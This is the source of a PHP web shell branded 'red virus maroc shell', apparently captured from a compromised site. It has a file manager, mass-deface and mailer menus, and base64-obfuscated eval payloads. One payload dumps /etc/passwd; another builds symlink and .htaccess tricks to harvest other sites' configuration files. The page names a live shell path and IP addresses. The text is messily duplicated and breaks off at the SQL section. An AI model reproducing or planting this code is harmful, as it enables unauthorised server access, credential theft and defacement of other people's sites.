        return htmlentities($words[$word], ENT_COMPAT, $word_charset);
    }
    function phrase($phrase, $arguments)
    {
        global $words;
        static $search;
        if (!is_array($search)) {
            for ($i = 1; $i <= 8; $i++) {
                $search[] = "%{$i}";
            }
        }
        for ($i = 0; $i < sizeof($arguments); $i++) {
            $arguments[$i] = nl2br(html($arguments[$i]));
        }
        $replace = array('{' => '<pre>', '}' => '</pre>', '[' => '<b>', ']' => '</b>');
        return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));
    }
    function getwords($lang)
    {
        global $date_format, $word_charset;
        $word_charset = 'UTF-8';
        switch ($lang) {
            case 'de':
            case 'en':
            default:
                $date_format = 'n/j/y H:i:s';
                return array('directory' => 'G0', 'file' => 'Fil3', 'filename' => 'Fil3 N4m3', 'size' => '5ize', 'permission' => 'P3RM1sS10N', 'owner' => '0wNEr', 'group' => 'gr0up', 'other' => '0th3rs', 'functions' => 'FunC710n2', 'read' => 'rE4d', 'write' => 'Wr1t3', 'execute' => '3X3CUTE', 'create_symlink' => 'cRe47E 5ymL1NK', 'delete' => 'd3L3T3', 'rename' => 'r3N4m3', 'move' => 'M0V3', 'copy' => 'C0PY', 'edit' => 'EDIT', 'download' => 'D0Wnl04D', 'upload' => 'uPL04d', 'create' => 'cR3AT3', 'change' => 'Ch4N93', 'save' => 'S4V3', 'set' => 'set', 'reset' => 'reset', 'relative' => 'Relative path to target', 'yes' => 'Yes', 'no' => 'No', 'back' => 'back', 'destination' => 'Destination', 'symlink' => 'Symlink', 'no_output' => 'no output', 'user' => 'User', 'password' => 'Password', 'add' => 'add', 'add_basic_auth' => 'add basic-authentification', 'uploaded' => '"[%1]" has been uploaded.', 'not_uploaded' => '"[%1]" could not be uploaded.', 'already_exists' => '"[%1]" already exists.', 'created' => '"[%1]" has been created.', 'not_created' => '"[%1]" could not be created.', 'really_delete' => 'Delete these files?', 'deleted' => "These files have been deleted:\n[%1]", 'not_deleted' => "These files could not be deleted:\n[%1]", 'rename_file' => 'Rename file:', 'renamed' => '"[%1]" has been renamed to "[%2]".', 'not_renamed' => '"[%1] could not be renamed to "[%2]".', 'move_files' => 'Move these files:', 'moved' => "These files have been moved to \"[%2]\":\n[%1]", 'not_moved' => "These files could not be moved to \"[%2]\":\n[%1]", 'copy_files' => 'Copy these files:', 'copied' => "These files have been copied to \"[%2]\":\n[%1]", 'not_copied' => "These files could not be copied to \"[%2]\":\n[%1]", 'not_edited' => '"[%1]" can not be edited.', 'executed' => "\"[%1]\" has been executed successfully:\n{%2}", 'not_executed' => "\"[%1]\" could not be executed successfully:\n{%2}", 'saved' => '"[%1]" has been saved.', 'not_saved' => '"[%1]" could not be saved.', 'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.', 'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.', 'permission_for' => 'Permission of "[%1]":', 'permission_set' => 'Permission of "[%1]" was set to [%2].', 'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].', 'not_readable' => '"[%1]" can not be read.');
        }
    }
    function getimage($image)
    {
        switch ($image) {
            case 'file':
                return "GIF89a\21\0\r\0\x91\3\0\x99\x99\x99\xff\xff\xff\0\0\0\xff\xff\xff!\xf9\4\1\xe8\3\3\0,\0\0\0\0\21\0\r\0\0\2-\x9c\x81\x89\xc6\r\1\xe3j\xec\x89+\xc2\3\xf4D\x99t\26\x86i\xe2\x87r\xd4Hf\xaa\x83~o\25\xb4\x97\xb9\xc6\xd2i\xbb\xa7\x8es(\x86\xaf\2\0;\0";
            case 'folder':
                return "GIF89a\21\0\r\0\x91\3\0\x99\x99\x99\xff\xff\xff\xcc\xcc\xcc\xff\xff\xff!\xf9\4\1\xe8\3\3\0,\0\0\0\0\21\0\r\0\0\2*\x9c\x8f\x99\xc0\xac\33b\4\xcf\xb4\x8b\x9d\x95\xbc\v:\0\x81@\x96&\t\x8a\xe7\xfam\xec\x99\x8eo\31\xcf\xb4k\xb7a\x8e\36\xd9o(\0\0;\0";
            case 'hidden_file':
                return "GIF89a\21\0\r\0\x91\3\0\xcc\0\0\xff\xff\xff\x99\x99\x99\xff\xff\xff!\xf9\4\1\xe8\3\3\0,\0\0\0\0\21\0\r\0\0\2-\x9c\x81\x89\xc6\r\1\xe3j\xec\x89+\xc2\3\xf4D\x99t\26\x86i\xe2\x87r\xd4Hf\xaa\x83~o\25\xb4\x97\xb9\xc6\xd2i\xbb\xa7\x8es(\x86\xaf\2\0;\0";
            case 'link':
                return "GIF89a\21\0\r\0\xa2\4\0\x99\x99\x99\xff\xff\xff\0\0\0\xcc\0\0\xff\xff\xff\0\0\0\0\0\0\0\0\0!\xf9\4\1\xe8\3\4\0,\0\0\0\0\21\0\r\0\0\39H\n\xdc\xac0\x82@\xeb\x8bp\x8a-\xc2\4\xd8RYM8\r\3\xc5y&\x85\x8e,\x84\xces\xb0\xc5\nM\x8f 6\5/[\xa7'\1\xa6`\xc4\xcc\x883l\xc1,&\x87\x94\x98\0\0;\0";
            case 'smiley':
                return "GIF89a\21\0\r\0\x91\2\0\0\0\0\xff\xff\0\xff\xff\xff\0\0\0!\xf9\4\1\xe8\3\2\0,\0\0\0\0\21\0\r\0\0\2,\x94\x8f\xa9\2\xed\xb0\f\10\xb3\xd25\x83\xde\32\xa6\0076_\xd5P\xa5x\x94\34\x87J\xe4vzi\7wJf\xe22\x82\xb3\21\23\xfa\t\17\5\0;\0";
            case 'arrow':
                return "GIF89a\21\0\r\0\x80\1\0\0\0\0\xff\xff\xff!\xf9\4\1\n\0\1\0,\0\0\0\0\21\0\r\0\0\2\35\x8c\17p\xcb\xa8\rC\x8apRf\xaf\xd3+\xe7\xfa\30I\x88\x8d\xe6\10\x9e\xa8\xb6\xb2\$\xc7\24\0;";
        }
    }
    function html_header()
    {
        global $site_charset;
        echo <<<END
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta http-equiv="Content-Type" content="text/html; charset={$site_charset}" />


<style type="text/css">
body { font: small sans-serif; text-align: center background: #59E817 }
img { width: 17px; height: 13px }
a, a:visited { text-decoration: none; color: navy }
hr { border-style: none; height: 1px; background-color: silver; color: silver }
#main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
#main th { background: #59E817; padding: 3pt 3pt 0pt 3pt }
.listing th, .listing td { padding: 1px 3pt 0 3pt }
.listing th { border: 1px solid silver }
.listing td { border: 1px solid #ddd; background: #59E817 }
.listing .checkbox { text-align: center }
.listing .filename { text-align: left }
.listing .size { text-align: right }
.listing th.permission { text-align: left }
.listing td.permission { font-family: monospace }
.listing .owner { text-align: left }
.listing .group { text-align: left }
.listing .functions { text-align: left }
.listing_footer td { background: green; border: 1px solid silver }
#directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
#directory { background: green; border: 1px solid silver }
#upload { padding-top: 1em }
#create { padding-bottom: 1em; background: green }
.small, .small option { font-size: x-small }
textarea {border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817 }
table.dialog { margin-left: auto; margin-right: auto }
td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
#permission { margin-left: auto; margin-right: auto }
#permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
td.permission_action { text-align: right }
#symlink { background: #eee; border: 1px solid silver }
#symlink td { text-align: left; padding: 3pt }
#red_button { width: 120px; color: #400 }
#green_button { width: 120px; color: #040 }
#error td { background: maroon; color: white; border: 1px solid silver }
#notice td { background: green; color: white; border: 1px solid silver }
#notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
code { font-size: 12pt }
td { white-space: nowrap }
</style>

<script type="text/javascript">
<!--
function activate (name) {
\tif (document && document.forms[0] && document.forms[0].elements['focus']) {
\t\tdocument.forms[0].elements['focus'].value = name;
\t}
}
//-->
</script>

</head>
<body>


END;
    }
    function html_footer()
    {
        echo "</body>\n</html>";
    }
    function notice($phrase)
    {
        global $cols;
        $args = func_get_args();
        array_shift($args);
        return '<tr id="notice">
	<td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
</tr>
';
    }
    function error($phrase)
    {
        global $cols;
        $args = func_get_args();
        array_shift($args);
        return '<tr id="error">
	<td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
</tr>
';
    }
};
?>














</center>
</body>
</haed>
</html>
			













</center>
</body>
</haed>
</html>
			


Original code

<table bgcolor="green" border="5" height="10%" width="100%">
<font size='5' color="green">
<tr>
<td><center>
<div id='alert'>Safe Mode : off </div><div id='alert'>you ip : 197.1.68.186 Server IP : 107.180.39.228<br> shell : http://www.ensemblestrategies.com/userfiles/cms_documents/portfolio/mrk___802.phtml <br> shell name : mrk___802.phtml </center></td>
</tr>
</table>
<html>
<title>
.:: shell red virus maroc v0.1 ::.
</title>
<haed>
<body bgcolor='A6A187'>
<center>
 <HR WIDTH="100%" size="2" color='black'>

<center>

<A HREF="?"><button size="4" style='width: 150px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>home</button></A>

<A HREF="?tha=upload"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817' ><font size="4" color=green>[+] </font><font size="4" color=green> upload file</button></A>

<A HREF="?tha=mass"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> mass deface</button></A>

<A HREF="?tha=sql"><button size="4"  style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> sql</button></A><br>--<br>

<A HREF="?tha=config"><button size="4"  style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> config</button></A>

<A HREF="?tha=ip"><button size="4"  style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> ip site</button></A>

<A HREF="?tha=base64"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green>Base 64</button></A>

<A HREF="?tha=mailer"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> mailer</button></A><br>--<br>


<A HREF="?tha=phpinfo"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> php info</button></A>

<A HREF="?tha=about"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green>about</button></A>


<HR WIDTH="60%" size="5" color='green'>
<font size='5' color='red' bgcolor="#FF0000">
red virus maroc shell v0.1
</font><br>
<HR WIDTH="60%" size="5" color='green' >
******************************<br>
 the hackers army          <br>
******************************
<br>
<HR WIDTH="100%" size="5" color='red' >
<br>



<table bgcolor="green" border="5" height="10%" width="100%">
<font size='5' color="green">
<tr>
<td><center>
<?php eval(base64_decode("aWYoJHNhZmVtb2RlPT0iT24iKQp7CiAgICBlY2hvICJTYWZlIE1vZGUgOiBPTiI7Cn0KZWxzZQp7
CiAgICBlY2hvICI8ZGl2IGlkPSdhbGVydCc+U2FmZSBNb2RlIDogb2ZmIDwvZGl2PiI7Cn0KJHlv
dXJfaXA9JF9TRVJWRVJbJ1JFTU9URV9BRERSJ107CiAgZWNobyAiPGRpdiBpZD0nYWxlcnQnPnlv
dSBpcCA6ICR5b3VyX2lwIjsKJHNydnJfaXA9JF9TRVJWRVJbJ1NFUlZFUl9BRERSJ107CmVjaG8g
IiBTZXJ2ZXIgSVAgOiAiLiRzcnZyX2lwLiIiOwokc2hlbGxwYT0iaHR0cDovLyIuJF9TRVJWRVJb
J1NFUlZFUl9OQU1FJ10uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107CiAgZWNobyAiPGJyPiBzaGVs
bCA6ICRzaGVsbHBhICI7CiRzaGVsbD1iYXNlbmFtZSgiJHNoZWxscGEiKTsKZWNobyAiPGJyPiBz
aGVsbCBuYW1lIDogJHNoZWxsICI7IAovLyByZWQgdmlydXMgbWFyb2Mgc2hlbGwKLy8gbXkgZmIg
OiAKLy8gZmFjZWJvb2suY29tL3JlZHZpcnVzLnBodG1sCi8vIGZhY2Vib29rLmNvbS9yZWR2aXJ1
c21hcm9jCi8vIG15IHNpdGUgOgovLyBhcm15Lmtvb20ubWEKLy8gdGhlIGhhY2tlcnMgYXJteQov
LyB3ZSBhcmUgCi8vICBUaGEgRGlzYXN0ZXIgLSBUaGEgUnVkZSAtIFRoYSBKMGtlcm9vIC0gVGhh
IE1hZyFjIWFuIC0gVGhhIFggSGF4T3IgLSBUaGEgUmVEdmlydXMgTWEgLSBUaGEgSW5kZXhEb3RI
VE1M")); ?>
</center></td>
</tr>
</table>
<html>
<title>
.:: shell red virus maroc v0.1 ::.
</title>
<haed>
<body bgcolor='A6A187'>
<center>
 <HR WIDTH="100%" size="2" color='black'>

<center>

<A HREF="?"><button size="4" style='width: 150px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>home</button></A>

<A HREF="?tha=upload"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817' ><font size="4" color=green>[+] </font><font size="4" color=green> upload file</button></A>

<A HREF="?tha=mass"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> mass deface</button></A>

<A HREF="?tha=sql"><button size="4"  style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> sql</button></A><br>--<br>

<A HREF="?tha=config"><button size="4"  style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> config</button></A>

<A HREF="?tha=ip"><button size="4"  style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> ip site</button></A>

<A HREF="?tha=base64"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green>Base 64</button></A>

<A HREF="?tha=mailer"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> mailer</button></A><br>--<br>


<A HREF="?tha=phpinfo"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> php info</button></A>

<A HREF="?tha=about"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green>about</button></A>


<HR WIDTH="60%" size="5" color='green'>
<font size='5' color='red' bgcolor="#FF0000">
red virus maroc shell v0.1
</font><br>
<HR WIDTH="60%" size="5" color='green' >
******************************<br>
 the hackers army          <br>
******************************
<br>
<HR WIDTH="100%" size="5" color='red' >
<br>
<?
////////////////////////////////// about /////////////////////////////////////
if ($_GET['tha'] == 'about') {
?>
<center>
<font size='5' color='red' bgcolor="green">
red virus maroc shell v0.1
</font><br><br>
<font size='5' color='red' bgcolor="red">
we are
</font><br><br>
<font size='5' color='green'>
THE HACKERS ARMY
</font><br><br>
<font size='5' color='red' bgcolor="red">
we are
</font><br><br>
<font size='5' color='green'>
Tha Disaster - Tha Rude - Tha J0keroo - Tha Mag!c!an - Tha X HaxOr - Tha ReDvirus Ma - Tha IndexDotHTML
</font><br><br>
<font size='5' color='red' >
me
</font><br><br>


 <A HREF="https://facebook.com/redvirus.phtml">facebook</A><br>
 <A HREF="https://facebook.com/redvirusmaroc1">page facebook</A><br>
<A HREF="https://facebook.com/redvirusmaroc1">youtube</A><br>
 <A HREF="http://army.koom.ma/">my site</A><br><br>
tnx REDR00T<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>






<?
}

else if (preg_match) {
}


?>
<?
////////////////////////////////// config/////////////////////////////////////
if ($_GET['tha'] == 'config') {
?>
<A HREF="?"><button size="4" style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817'>back</button></A><br><br>
<html>
<head>
</head>
<body><br><br><br>
<center>
<form method="POST">
<font size="5" color="green">
Passwd :
</font>
<p>&nbsp;</p>
<textarea rows=25 style='width:60%;height:50% border:1px dotted #59E817; background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817;' name="passwd" ><?php eval(base64_decode("ZWNobyBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9wYXNzd2QnKTs=")); ?></textarea></br>
<p>&nbsp;</p>
<input style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817' name="cat" size="80" value="Start" type="submit"></br>
</form>
<?php eval(base64_decode("QGVycm9yX3JlcG9ydGluZygwKTsKQHNldF90aW1lX2xpbWl0KDApOwppZigkX1BPU1RbImNhdCJd
ICYmICEkX1BPU1RbInBhc3N3ZCJdPT0iIil7CmVjaG8gImF0dCAgLi4uPGJyPiI7CiRmdW5jdGlv
bnM9QGluaV9nZXQoImRpc2FibGVfZnVuY3Rpb25zIik7CmlmKGVyZWdpKCJzeW1saW5rIiwkZnVu
Y3Rpb25zKSl7CmRpZSgiPGZvbnQgY29sb3I9cmVkPlN5bWxpbmsgRnVuY3Rpb24gaXMgRGlzYWJs
ZUQsIFlvdSBDYW4ndCBDb250aW51ZSBUaGlzIFByb2Nlc3MgISE8L2ZvbnQ+Iik7Cn0KZWNobyAi
Q2hlY2tpbmcgRG9uZSBXaXRob3V0IFByb2JsZW1zLCBDb250aW51ZSAuLi48YnI+IjsKQG1rZGly
KCJULUgtQSIsIDA3NTUpOwpAY2hkaXIoIlQtSC1BIik7CgokaHRhY2Nlc3M9IgoKT3B0aW9ucyBh
bGwKCk9wdGlvbnMgK0luZGV4ZXMKCk9wdGlvbnMgK0ZvbGxvd1N5bUxpbmtzCgpEaXJlY3RvcnlJ
bmRleCBTdXguaHRtbAoKQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAKCkFkZEhhb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aG9zdGJpbGxzLWhvc3RiaWxsLnR4
dCcpOwoKfQoKZWNobyAiPGEgc2l6ZT0nNicgY29sb3I9J2dyZWVuJyBocmVmPSdULUgtQSc+Y29u
ZmlnZTwvYT48YnI+IjsKCn0KCg==")); ?>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>

<?
}

else if (preg_match) {
}


?>
<?
////////////////////////////////// base64 /////////////////////////////////////
if ($_GET['tha'] == 'base64') {
?>
<A HREF="?"><button size="4" style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817'>back</button></A><br><br>
<html>
<head>
<script language=javascript type="text/javascript">
<!--
function urlDecode(str){
    str=str.replace(new RegExp('\\+','g'),' ');
    return unescape(str);
}
function urlEncode(str){
    str=escape(str);
    str=str.replace(new RegExp('\\+','g'),'%2B');
    return str.replace(new RegExp('%20','g'),'+');
}

var END_OF_INPUT = -1;

var base64Chars = new Array(
    'A','B','C','D','E','F','G','H',
    'I','J','K','L','M','N','O','P',
    'Q','R','S','T','U','V','W','X',
    'Y','Z','a','b','c','d','e','f',
    'g','h','i','j','k','l','m','n',
    'o','p','q','r','s','t','u','v',
    'w','x','y','z','0','1','2','3',
    '4','5','6','7','8','9','+','/'
);

var reverseBase64Chars = new Array();
for (var i=0; i < base64Chars.length; i++){
    reverseBase64Chars[base64Chars[i]] = i;
}

var base64Str;
var base64Count;
function setBase64Str(str){
    base64Str = str;
    base64Count = 0;
}
function readBase64(){    
    if (!base64Str) return END_OF_INPUT;
    if (base64Count >= base64Str.length) return END_OF_INPUT;
    var c = base64Str.charCodeAt(base64Count) & 0xff;
    base64Count++;
    return c;
}
function encodeBase64(str){
    setBase64Str(str);
    var result = '';
    var inBuffer = new Array(3);
    var lineCount = 0;
    var done = false;
    while (!done && (inBuffer[0] = readBase64()) != END_OF_INPUT){
        inBuffer[1] = readBase64();
        inBuffer[2] = readBase64();
        result += (base64Chars[ inBuffer[0] >> 2 ]);
        if (inBuffer[1] != END_OF_INPUT){
            result += (base64Chars [(( inBuffer[0] << 4 ) & 0x30) | (inBuffer[1] >> 4) ]);
            if (inBuffer[2] != END_OF_INPUT){
                result += (base64Chars [((inBuffer[1] << 2) & 0x3c) | (inBuffer[2] >> 6) ]);
                result += (base64Chars [inBuffer[2] & 0x3F]);
            } else {
                result += (base64Chars [((inBuffer[1] << 2) & 0x3c)]);
                result += ('=');
                done = true;
            }
        } else {
            result += (base64Chars [(( inBuffer[0] << 4 ) & 0x30)]);
            result += ('=');
            result += ('=');
            done = true;
        }
        lineCount += 4;
        if (lineCount >= 76){
            result += ('\n');
            lineCount = 0;
        }
    }
    return result;
}
function readReverseBase64(){   
    if (!base64Str) return END_OF_INPUT;
    while (true){      
        if (base64Count >= base64Str.length) return END_OF_INPUT;
        var nextCharacter = base64Str.charAt(base64Count);
        base64Count++;
        if (reverseBase64Chars[nextCharacter]){
            return reverseBase64Chars[nextCharacter];
        }
        if (nextCharacter == 'A') return 0;
    }
    return END_OF_INPUT;
}

function ntos(n){
    n=n.toString(16);
    if (n.length == 1) n="0"+n;
    n="%"+n;
    return unescape(n);
}

function decodeBase64(str){
    setBase64Str(str);
    var result = "";
    var inBuffer = new Array(4);
    var done = false;
    while (!done && (inBuffer[0] = readReverseBase64()) != END_OF_INPUT
        && (inBuffer[1] = readReverseBase64()) != END_OF_INPUT){
        inBuffer[2] = readReverseBase64();
        inBuffer[3] = readReverseBase64();
        result += ntos((((inBuffer[0] << 2) & 0xff)| inBuffer[1] >> 4));
        if (inBuffer[2] != END_OF_INPUT){
            result +=  ntos((((inBuffer[1] << 4) & 0xff)| inBuffer[2] >> 2));
            if (inBuffer[3] != END_OF_INPUT){
                result +=  ntos((((inBuffer[2] << 6)  & 0xff) | inBuffer[3]));
            } else {
                done = true;
            }
        } else {
            done = true;
        }
    }
    return result;
}

var digitArray = new Array('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');
function toHex(n){
    var result = ''
    var start = true;
    for (var i=32; i>0;){
        i-=4;
        var digit = (n>>i) & 0xf;
        if (!start || digit != 0){
            start = false;
            result += digitArray[digit];
        }
    }
    return (result==''?'0':result);
}

function pad(str, len, pad){
    var result = str;
    for (var i=str.length; i<len; i++){
        result = pad + result;
    }
    return result;
}

function encodeHex(str){
    var result = "";
    for (var i=0; i<str.length; i++){
        result += pad(toHex(str.charCodeAt(i)&0xff),2,'0');
    }
    return result;
}

var hexv = {
  "00":0,"01":1,"02":2,"03":3,"04":4,"05":5,"06":6,"07":7,"08":8,"09":9,"0A":10,"0B":11,"0C":12,"0D":13,"0E":14,"0F":15,
  "10":16,"11":17,"12":18,"13":19,"14":20,"15":21,"16":22,"17":23,"18":24,"19":25,"1A":26,"1B":27,"1C":28,"1D":29,"1E":30,"1F":31,
  "20":32,"21":33,"22":34,"23":35,"24":36,"25":37,"26":38,"27":39,"28":40,"29":41,"2A":42,"2B":43,"2C":44,"2D":45,"2E":46,"2F":47,
  "30":48,"31":49,"32":50,"33":51,"34":52,"35":53,"36":54,"37":55,"38":56,"39":57,"3A":58,"3B":59,"3C":60,"3D":61,"3E":62,"3F":63,
  "40":64,"41":65,"42":66,"43":67,"44":68,"45":69,"46":70,"47":71,"48":72,"49":73,"4A":74,"4B":75,"4C":76,"4D":77,"4E":78,"4F":79,
  "50":80,"51":81,"52":82,"53":83,"54":84,"55":85,"56":86,"57":87,"58":88,"59":89,"5A":90,"5B":91,"5C":92,"5D":93,"5E":94,"5F":95,
  "60":96,"61":97,"62":98,"63":99,"64":100,"65":101,"66":102,"67":103,"68":104,"69":105,"6A":106,"6B":107,"6C":108,"6D":109,"6E":110,"6F":111,
  "70":112,"71":113,"72":114,"73":115,"74":116,"75":117,"76":118,"77":119,"78":120,"79":121,"7A":122,"7B":123,"7C":124,"7D":125,"7E":126,"7F":127,
  "80":128,"81":129,"82":130,"83":131,"84":132,"85":133,"86":134,"87":135,"88":136,"89":137,"8A":138,"8B":139,"8C":140,"8D":141,"8E":142,"8F":143,
  "90":144,"91":145,"92":146,"93":147,"94":148,"95":149,"96":150,"97":151,"98":152,"99":153,"9A":154,"9B":155,"9C":156,"9D":157,"9E":158,"9F-":159,
  "A0":160,"A1":161,"A2":162,"A3":163,"A4":164,"A5":165,"A6":166,"A7":167,"A8":168,"A9":169,"AA":170,"AB":171,"AC":172,"AD":173,"AE":174,"AF":175,
  "B0":176,"B1":177,"B2":178,"B3":179,"B4":180,"B5":181,"B6":182,"B7":183,"B8":184,"B9":185,"BA":186,"BB":187,"BC":188,"BD":189,"BE":190,"BF":191,
  "C0":192,"C1":193,"C2":194,"C3":195,"C4":196,"C5":197,"C6":198,"C7":199,"C8":200,"C9":201,"CA":202,"CB":203,"CC":204,"CD":205,"CE":206,"CF":207,
  "D0":208,"D1":209,"D2":210,"D3":211,"D4":212,"D5":213,"D6":214,"D7":215,"D8":216,"D9":217,"DA":218,"DB":219,"DC":220,"DD":221,"DE":222,"DF":223,
  "E0":224,"E1":225,"E2":226,"E3":227,"E4":228,"E5":229,"E6":230,"E7":231,"E8":232,"E9":233,"EA":234,"EB":235,"EC":236,"ED":237,"EE":238,"EF":239,
  "F0":240,"F1":241,"F2":242,"F3":243,"F4":244,"F5":245,"F6":246,"F7":247,"F8":248,"F9":249,"FA":250,"FB":251,"FC":252,"FD":253,"FE":254,"FF":255
};

function decodeHex(str){
    str = str.toUpperCase().replace(new RegExp("s/[^0-9A-Z]//g"));
    var result = "";
    var nextchar = "";
    for (var i=0; i<str.length; i++){
        nextchar += str.charAt(i);
        if (nextchar.length == 2){
            result += ntos(hexv[nextchar]);
            nextchar = "";
        }
    }
    return result;
    
}
//--></script>

</head>
<body>

<form name=code onsubmit="return false()">
<textarea rows=25 name=text style='border:1px dotted #59E817; background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817; width:60%;height:60%;' onfocus='if (this.value=="Enter text to encode or decode here."){this.value="";}'>Enter text to encode or decode here.</textarea>
<table>
<tr>
<td align=center>
<input style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817' value="Encode" type=button onclick="document.code.text.value=encodeBase64(document.code.text.value);"><br>

<input style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817' value="Decode" type=button onclick="document.code.text.value=decodeBase64(document.code.text.value);">
</td></tr>
<tr><br>
<input style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817' type=reset value=Clear><br>
----------------------------------------------
</td><td align=center>
</td></tr><br></table><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<?
}

else if (preg_match) {
}

?>
<?
/////////////////////// ip site  //////////////////////////////
if ($_GET['tha'] == 'ip') {
?>
<A HREF="?"><button size="4" style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817'>back</button></A><br><br>
<?
echo"

<form method='post' ><center>

<textarea style='border:1px dotted #59E817; width: 543px; height: 420px; background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817' cols='50' rows='12' name='site2ip' > www.example.com

Romove http:// or https://</textarea></br><br>

<input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817' type='submit' name='w2ip' value='Extract' ><br>

</center>"; ?>

<?

if(isset($_POST['site2ip'])){ 

foreach(explode("\n",$_POST['site2ip']) as $site4ip){ 

$ipp=trim($site4ip);

echo '<font color="red" size="3"></font><font color="green" size="5"><center>

<font color="Blue" size="3"</font><font color=Green face=Verdana size=-2>'.$ipp.'</font>

<font color=white face=Verdana size=-2>  ==> </font> <font color=Green face=Verdana size=-2>'.gethostbyname ($ipp).'</font></center></font>'; 

}

}

}


?>
<?
///////////////////////////////////// sql ///////////////////////////////////////
if ($_GET['tha'] == 'sql') {
?>
